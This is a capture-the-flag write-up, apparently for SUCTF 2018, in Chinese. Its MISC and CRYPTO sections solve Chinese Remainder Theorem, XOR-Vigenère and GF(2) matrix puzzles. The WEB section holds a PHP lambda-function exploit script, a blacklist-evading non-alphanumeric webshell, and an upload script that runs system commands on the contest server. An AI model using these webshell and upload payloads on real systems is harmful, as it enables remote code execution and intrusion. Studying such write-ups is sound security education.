MISC

sandgame

game.py

1
2
3
4
5
6
7
8
import flag
flag = flag.flag
sands = int(flag[5:-1].encode("hex"), 16)
holes = [257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373]
with open("sand.txt", "w") as f:
for i in range(len(holes)):
sand = sands % holes[i]
f.write(str(sand)+"\n")

solution.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf8
# import flag
# 解同余方程组;中国剩余定理,韩信点兵,扩展欧几里得,模反 <= 深入理解
#求模反元素,模逆元
def gcd(a,b):
while a!=0:
a,b = b%a,a
return b
#定义一个函数,参数分别为a,n,返回值为b
def findModReverse(a,m):#这个扩展欧几里得算法求模逆
if gcd(a,m)!=1:
return None
u1,u2,u3 = 1,0,a
v1,v2,v3 = 0,1,m
while v3!=0:
q = u3//v3
v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
return u1%m

holes = [257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373]
sand = [222, 203, 33, 135, 203, 62, 227, 82, 239, 82, 11, 220, 74, 92, 8, 308, 195, 165, 87, 4]
M=1
for i in holes:
M*=i
s=0
for i,j in enumerate(holes):
mi=j
Mi=M/mi
s=s+findModReverse(Mi,mi)*sand[i]*Mi
print str(hex(s%M)[2:-1]).decode('hex')
# This_is_the_CRT_xwg)

韩信点兵问题,根据中国剩余定理构造通解

1527361456797

Cycle

cycle.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import flag

def encryt(key, plain):
cipher = ""
for i in range(len(plain)):
cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i]))
return cipher

def getPlainText():
plain = ""
with open("plain.txt") as f:
while True:
line = f.readline()
if line:
plain += line
else:
break
return plain

def main():
key = flag.flag
assert key.startswith("flag{")
assert key.endswith("}")
key = key[5:-1]
assert len(key) > 1
assert len(key) < 50
assert flag.languageOfPlain == "English"
plain = getPlainText()
cipher = encryt(key, plain)
with open("cipher.txt", "w") as f:
f.write(cipher.encode("base_64"))

if __name__ == "__main__":
main()

cipher.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
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

类似维吉尼亚的变种,key长度远小于plain,循环异或后可统计字频,南邮CTF平台有一题相似的。详见 https://findneo.tech/171005NuptVigenereWP/ 。稍微更改其中读取密文部分即可。flag{Something Just Like This}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# coding:utf8
# by https://findneo.github.io/
def getCipher(file='code.txt'):
'''从文件中读取十六进制串,返回十六进制数组
'''
c=''.join(map(lambda x:x.strip(),open('cipher.txt').readlines())).decode('base_64')
cc= [ord(i) for i in c]
# print cc,len(cc)
return cc
# c = open(file).read()
# codeintlist = []
# codeintlist.extend(
# (map(lambda i: int(c[i:i + 2], 16), range(0, len(c), 2))))
# return codeintlist


def getKeyPool(cipher, stepSet, plainSet, keySet):
''' 传入的密文串、明文字符集、密钥字符集、密钥长度范围均作为数字列表处理.形如[0x11,0x22,0x33]
返回一个字典,以可能的密钥长度为键,以对应的每一字节的密钥字符集构成的列表为值,密钥字符集为数字列表。
形如{
1:[[0x11]],
3:[
[0x11,0x33,0x46],
[0x22,0x58],
[0x33]
]
}
'''
keyPool = dict()
for step in stepSet:
maybe = [None] * step
for pos in xrange(step):
maybe[pos] = []
for k in keySet:
flag = 1
for c in cipher[pos::step]:
if c ^ k not in plainSet:
flag = 0
if flag:
maybe[pos].append(k)
for posPool in maybe:
if len(posPool) == 0:
maybe = []
break
if len(maybe) != 0:
keyPool[step] = maybe
return keyPool


def calCorrelation(cpool):
'''传入字典,形如{'e':2,'p':3}
返回可能性,0~1,值越大可能性越大
(correlation between the decrypted column letter frequencies and
the relative letter frequencies for normal English text)
'''
frequencies = {"e": 0.12702, "t": 0.09056, "a": 0.08167, "o": 0.07507, "i": 0.06966,
"n": 0.06749, "s": 0.06327, "h": 0.06094, "r": 0.05987, "d": 0.04253,
"l": 0.04025, "c": 0.02782, "u": 0.02758, "m": 0.02406, "w": 0.02360,
"f": 0.02228, "g": 0.02015, "y": 0.01974, "p": 0.01929, "b": 0.01492,
"v": 0.00978, "k": 0.00772, "j": 0.00153, "x": 0.00150, "q": 0.00095,
"z": 0.00074}
relative = 0.0
total = 0
fpool = 'etaoinshrdlcumwfgypbvkjxqz'
total = sum(cpool.values()) # 总和应包括字母和其他可见字符
for i in cpool.keys():
if i in fpool:
relative += frequencies[i] * cpool[i] / total
return relative


def analyseFrequency(cfreq):
key = []
for posFreq in cfreq:
mostRelative = 0
for keyChr in posFreq.keys():
r = calCorrelation(posFreq[keyChr])
if r > mostRelative:
mostRelative = r
keychar = keyChr
key.append(keychar)

return key


def getFrequency(cipher, keyPoolList):
''' 传入的密文作为数字列表处理
传入密钥的字符集应为列表,依次包含各字节字符集。
形如[[0x11,0x12],[0x22]]
返回字频列表,依次为各字节字符集中每一字符作为密钥组成部分时对应的明文字频
形如[{
0x11:{'a':2,'b':3},
0x12:{'e':6}
},
{
0x22:{'g':1}
}]
'''
freqList = []
keyLen = len(keyPoolList)
for i in xrange(keyLen):
posFreq = dict()
for k in keyPoolList[i]:
posFreq[k] = dict()
for c in cipher[i::keyLen]:
p = chr(k ^ c)
posFreq[k][p] = posFreq[k][p] + 1 if p in posFreq[k] else 1
freqList.append(posFreq)
return freqList


def vigenereDecrypt(cipher, key):
plain = ''
cur = 0
ll = len(key)
for c in cipher:
plain += chr(c ^ key[cur])
cur = (cur + 1) % ll
return plain


def main():
ps = []
ks = []
ss = []
ps.extend(xrange(0xff))
ks.extend(xrange(0x20,0x80))
ss.extend(xrange(1, 50))
cipher = getCipher()

keyPool = getKeyPool(cipher=cipher, stepSet=ss, plainSet=ps, keySet=ks)
for i in keyPool:
freq = getFrequency(cipher, keyPool[i])
key = analyseFrequency(freq)
print ''.join(map(chr,key))


if __name__ == '__main__':
main()

WEB

Anonymous

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

https://www.jianshu.com/p/19e3ee990cb7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = 'web.suctf.asuri.org'
PORT = 81
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /index.php HTTP/1.1\nHost: web.suctf.asuri.org\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
print requests.get('http://web.suctf.asuri.org:81/index.php?func_name=%00lambda_1').content

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

$flag="SUCTF{L4GsMqu6gu5knFnCi2Te8SjSucxKfQj6tuPJokoFhTCJjpa6RSfK}";

Getshell

要求上传的webshell文件从第6个字符开始都不能在黑名单内。

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

用burp intruder跑一遍,发现不在黑名单里的可打印字符有 $()[]_~=;. 共10个。

跑的时候需注意Intruder=>payloads=>payload encoding 处需取消勾选,否则会因为字符编码而不能得到正确的白名单。

跑的时候可以在Intruder=>options=>Grep-Match 中选择 flag illegal ,这样就可以快速看到那些字符是合法的了。

接下来就是构造一个由 $()[]_~=;. 组成的webshell了,主要思路来自 一些不包含数字和字母的webshell

构造出的最终结果如下:

1
<?= $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_____=~得[$_];$______=~第[$_];$_______=~学[$_];$_=_.$__.$___.$____;$_=$$_;$__=$_____.$______.$______.$___.$_______.$____;$__($_[_]);

详细注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?= 
$_=_==_;//1
$__=~一[$_];//G
$___=~了[$_];//E
$____=~端[$_];//T
$_____=~得[$_];//A
$______=~第[$_];//S
$_______=~学[$_];//R
$_=_.$__.$___.$____;//_GET
$_=$$_;//$_GET
$__=$_____.$______.$______.$___.$_______.$____;//ASSERT
$__($_[_]);//ASSERT($_GET[_]);

------------------------------------------------------
http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php
?_=phpinfo();

可以有一个更短更舒服的选择

1
<?= $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_=_.$__.$___.$____;$_=$$_;$_[_]($_[__]);

详细注释:

1
2
3
4
5
6
7
8
9
10
$_=_==_;//1
$__=~一[$_];//G
$___=~了[$_];//E
$____=~端[$_];//T
$_=_.$__.$___.$____;//_GET
$_=$$_;//$_GET
$_[_]($_[__]);//$_GET[_]($_GET[__]);
------------------------------------------------------
http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php
?_=assert&__=phpinfo();

读取flag

1
2
3
4
5
view-source:http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php?_=assert&__=system(%22ls%20-l%20/%22);

http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php?_=assert&__=readfile(%27/Th1s_14_f14g%27);

SUCTF{KyGeBLWoF9MXcdDKBdbw2B54sMxbsxyXBpm8t5nQUHBJKuAYEd6o}

上传小脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding:utf8
import requests
import re
data="<?= $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_=_.$__.$___.$____;$_=$$_;$_[_]($_[__]);"
base="http://web.suctf.asuri.org:82/"
files = {'file': ('findneo.php', data, 'image/jpeg')}
content = requests.post(base+"upload.php", files=files).text
cmd='system("dir /");'
payload=base+re.match("[\s\S]*Stored in: ([a-z.0-9/]+)[\s\S]*",content).group(1)+"?_=assert&__="+cmd
print payload
print requests.get(payload).content

# http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php?_=assert&__=system("dir /");
# 1Th1s_14_f14g boot etc lib media opt root sbin sys usr
# bin dev home lib64 mnt proc run srv tmp var

CRYPTO

Magic

把magic视为256x256的由0,1组成的矩阵M,把cipher视为256x1的矩阵C,把key视为256x1的矩阵K,已知M,C,且M*K = C (.mod 2),求K。

可以采用Gauss-Jordan 消元法 将增广矩阵[M|C] 简化为行阶梯形矩阵,那么变化后的C就是我们的解K。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
read_to_int_array = lambda x:[map(int,list(bin(int(line,16))[2:].zfill(256))) for line in open(x).readlines()]
cipher = read_to_int_array('cipher.txt')[0]
magic = read_to_int_array('magic.txt')
dim=len(cipher)
for col in range(dim):
for row in range(col,dim):
if magic[row][col]==1:
magic[col],magic[row]=magic[row],magic[col]
cipher[col],cipher[row]=cipher[row],cipher[col]
break
for row in range(dim):
if magic[row][col]==1 and row!=col:
for each_in_row in range(dim):
magic[row][each_in_row]^=magic[col][each_in_row]
cipher[row]^=cipher[col]
print "flag{%s}"%hex(int(''.join(map(str,cipher)),2))[2:-1].decode('hex')
#flag{Now_you_know_the_Hill_Cipher_xwg}

参考链接:

题目备份

https://github.com/findneo/ctfgodown/tree/master/suctf2018